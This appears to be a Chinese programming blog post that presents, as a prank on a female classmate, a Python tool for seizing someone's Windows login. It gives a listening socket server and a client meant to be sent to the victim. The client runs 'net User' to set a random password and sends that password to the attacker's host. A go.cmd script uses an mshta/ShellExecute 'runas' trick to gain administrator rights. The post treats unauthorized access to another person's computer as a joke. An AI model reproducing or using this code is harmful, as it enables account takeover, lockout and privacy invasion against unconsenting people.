Python还能这么玩之用Python修改了班花的开机密码


Posted in Python onJune 04, 2021

一、前言

Python还能这么玩之用Python修改了班花的开机密码

班花加我说她电话坏了让我看看,那肯定义不容辞!【兴奋了半个小时】没别的我就想秀一下技术!五分钟后我修好了,电脑重启之后显示输入密码,当时没多想直接走了。回去之后我能不能用技术远程解析一下这个开机密码呢,说干就干。

Python还能这么玩之用Python修改了班花的开机密码

二、工具准备

开发环境:win10、python3.7
开发工具:pycharm

三、项目思路解析

一想到远程,就想到创建连接,一想到创建链接,就想到socket套接字(一想到套接字,就联想到我没有女朋)

Python还能这么玩之用Python修改了班花的开机密码

该项目代码为3份(记住自己拿的是服务端的代码,客服端代码和go.cmd是发给别人的)

首先正常流程创建服务端的服务

服务端流程:

  • 创建套接字
  • -绑定ip和端口
  • -设置监听
  • -等待链接
  • -接受数据打印数据
  • -关闭链接
import socket  # 导入socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket
server.bind(('192.168.246.1', 44444))  # 绑定IP/端口
server.listen(5)  # 监听
print('***********等待连接*********')
conn, addr = server.accept()  # 连接
print(conn) 
print('客户端的地址:', addr)
client_msg = conn.recv(1024)
print('客户端修改的密码是: %s' % client_msg)
conn.close()
server.close()

windows的修改电脑密码的命令:net User 用户名 修改的密码(可以自己动手试一下)

Python还能这么玩之用Python修改了班花的开机密码

客户端流程:

  • 创建套接字
  • -连接服务端的IP和端口
  • -获取当前使用的电脑账户名
  • -生成随机的电脑密码
  • -在终端执行修改Windows密码的指令
  • -发送修改之后的密码
  • -关闭套接字
import socket  # 导入用到的模块
import getpass
import subprocess
import random

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket实例
client.connect((ip, 端口))  # 连接server端IP地址/端口按你自己实际情况来
user = getpass.getuser()  # 获取计算机用户名
print(user)
psd = ''
for j in range(1, 9): # 生成1-9的随机数
    m = str(random.randrange(0, 10))
    psd = psd + m

subprocess.Popen(['net', 'User', user, psd])  # 在本地执行(类似于cmd命令)
client.send(psd.encode('utf-8'))  # 将密码发送给server端
back_msg = client.recv(1024)
client.close()  # 关闭socket

到这一步基本就可以自己去尝试了,但是要注意,当前代码只能修改权限是admin的账户。

Python还能这么玩之用Python修改了班花的开机密码

非admin用户需要提高自己的执行权限
直接使用超级管理员权限执行cmd文件
go.cmd

@echo off
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"

start python client.py

四、小结

最后我修改密码成功登陆,竟然发现了她的密码!

Python还能这么玩之用Python修改了班花的开机密码

这铁憨憨C盘满了都不知道清理,一看就是不太懂电脑的亚子!班花那么好看竟然不太懂电脑,真是惊人的发现哩!

PS:最后我啥都没动改回去了!

到此这篇关于Python还能这么玩之用Python修改了班花的开机密码的文章就介绍到这了,更多相关Python修改密码内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
在Django中进行用户注册和邮箱验证的方法
May 09 Python
Python pyinotify日志监控系统处理日志的方法
Mar 08 Python
Python实现查看系统启动项功能示例
May 10 Python
对python调用RPC接口的实例详解
Jan 03 Python
python实现微信每日一句自动发送给喜欢的人
Apr 29 Python
Django生成PDF文档显示在网页上以及解决PDF中文显示乱码的问题
Jul 04 Python
Python queue队列原理与应用案例分析
Sep 27 Python
关于python pycharm中输出的内容不全的解决办法
Jan 10 Python
Python 字典中的所有方法及用法
Jun 10 Python
使用python matploblib库绘制准确率,损失率折线图
Jun 16 Python
详解python tkinter包获取本地绝对路径(以获取图片并展示)
Sep 04 Python
Python中的np.argmin()和np.argmax()函数用法
Jun 02 Python
Anaconda安装pytorch及配置PyCharm 2021环境
python如何利用cv2模块读取显示保存图片
Jun 04 #Python
Python实现socket库网络通信套接字
Jun 04 #Python
python cv2图像质量压缩的算法示例
Jun 04 #Python
高考要来啦!用Python爬取历年高考数据并分析
单身狗福利?Python爬取某婚恋网征婚数据
告别网页搜索!教你用python实现一款属于自己的翻译词典软件
You might like
PHP中防止SQL注入方法详解
2014/12/25 PHP
用函数式编程技术编写优美的 JavaScript
2006/11/25 Javascript
JS setCapture 区域外事件捕捉
2010/03/18 Javascript
用js小类库获取浏览器的高度和宽度信息
2012/01/15 Javascript
js获取dom的高度和宽度(可见区域及部分等等)
2013/06/13 Javascript
Javascript浮点数乘积运算出现多位小数的解决方法
2014/02/17 Javascript
js Dialog 去掉右上角的X关闭功能
2014/04/23 Javascript
动态读取JSON解析键值对的方法
2014/06/03 Javascript
jQuery鼠标悬浮链接弹出跟随图片实例代码
2016/01/08 Javascript
JavaScript程序开发之JS代码放置的位置
2016/01/15 Javascript
jQuery siblings()用法实例详解
2016/04/26 Javascript
整理一下常见的IE错误
2016/11/18 Javascript
JS小数转换为整数的方法分析
2017/01/07 Javascript
Django中使用jquery的ajax进行数据交互的实例代码
2017/10/15 jQuery
React Component存在的几种形式详解
2018/11/06 Javascript
《javascript设计模式》学习笔记七:Javascript面向对象程序设计组合模式详解
2020/04/08 Javascript
JavaScript对象访问器Getter及Setter原理解析
2020/12/08 Javascript
node中短信api实现验证码登录的示例代码
2021/01/20 Javascript
[06:09]辉夜杯主赛事开幕式
2015/12/25 DOTA
win7 下搭建sublime的python开发环境的配置方法
2014/06/18 Python
Python使用scrapy采集时伪装成HTTP/1.1的方法
2015/04/08 Python
Python 由字符串函数名得到对应的函数(实例讲解)
2017/08/10 Python
Python常见MongoDB数据库操作实例总结
2018/07/24 Python
Win10下python 2.7与python 3.7双环境安装教程图解
2019/10/12 Python
python sorted函数原理解析及练习
2020/02/10 Python
Django CSRF认证的几种解决方案
2020/03/03 Python
Django全局启用登陆验证login_required的方法
2020/06/02 Python
CSS3 对过渡(transition)进行调速以及延时
2020/10/21 HTML / CSS
HTML5之HTML元素扩展(上)—新增加的元素及使用概述
2013/01/31 HTML / CSS
AmazeUI 输入框组的示例代码
2020/08/14 HTML / CSS
七匹狼男装广告词
2014/03/21 职场文书
2014旅游局党组书记党建工作汇报材料
2014/11/02 职场文书
2015年个人自我剖析材料
2014/12/29 职场文书
2015年五一劳动节演讲稿
2015/03/18 职场文书
自主招生自荐信格式范文
2015/03/25 职场文书
2015年出纳工作总结与计划
2015/05/18 职场文书